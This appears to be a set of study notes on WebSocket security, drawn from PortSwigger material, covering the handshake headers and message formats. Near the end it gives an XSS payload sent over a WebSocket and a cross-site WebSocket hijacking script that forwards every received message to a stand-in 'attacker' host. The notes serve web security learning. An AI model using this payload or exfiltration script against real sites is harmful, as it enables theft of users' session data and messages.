WebSocket connections are long-lived HTTP initiations allowing bidirectional messaging. The connection stays open until a message is sent by the client or server. WebSocket is ideal for low-latency and server-triggered messages, such as real-time financial data feeds.
WebSocket connections are normally created using client-side JavaScript like the following:
var ws = new WebSocket("wss://normal-website.com/chat");The wss protocol establishes a WebSocket over an
encrypted TLS connection, while the ws protocol uses an
unencrypted connection.
To establish the connection, the browser and server perform a WebSocket handshake via HTTP. The browser sends a WebSocket handshake request like this:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
The Connection and Upgrade headers
in the request and response indicate that this is a WebSocket
handshake.
The Sec-WebSocket-Version request header
specifies the WebSocket protocol version that the client wishes to
use. This is typically 13.
The Sec-WebSocket-Key request header contains a
Base64-encoded random value, which should be randomly generated in
each handshake request. This is use to prevent errors from caching
proxies. (It is not like CSRF token…)
The Sec-WebSocket-Accept response header
contains a hash of the value submitted in the Sec-WebSocket-Key
request header, concatenated with a specific string defined in the
protocol specification. This is done to prevent misleading responses
resulting from misconfigured servers or caching proxies.
WebSocket messages can contain any content or data format
ws.send("Peter Wiener");It is common to use json
{"user":"Hal Pline","content":"Hello"}https://portswigger.net/web-security/websockets#manipulating-websocket-connections
{"message":"<img src=1 onerror='alert(1)'>"}An attacker can craft a malicious webpage on their domain, initiating a cross-site WebSocket connection to the susceptible application. (As CSRF, the websocket connection mustn’t contain CSRF tokens)
Exploitation code to open a websocket connection to send messages on your server
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://attacker', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>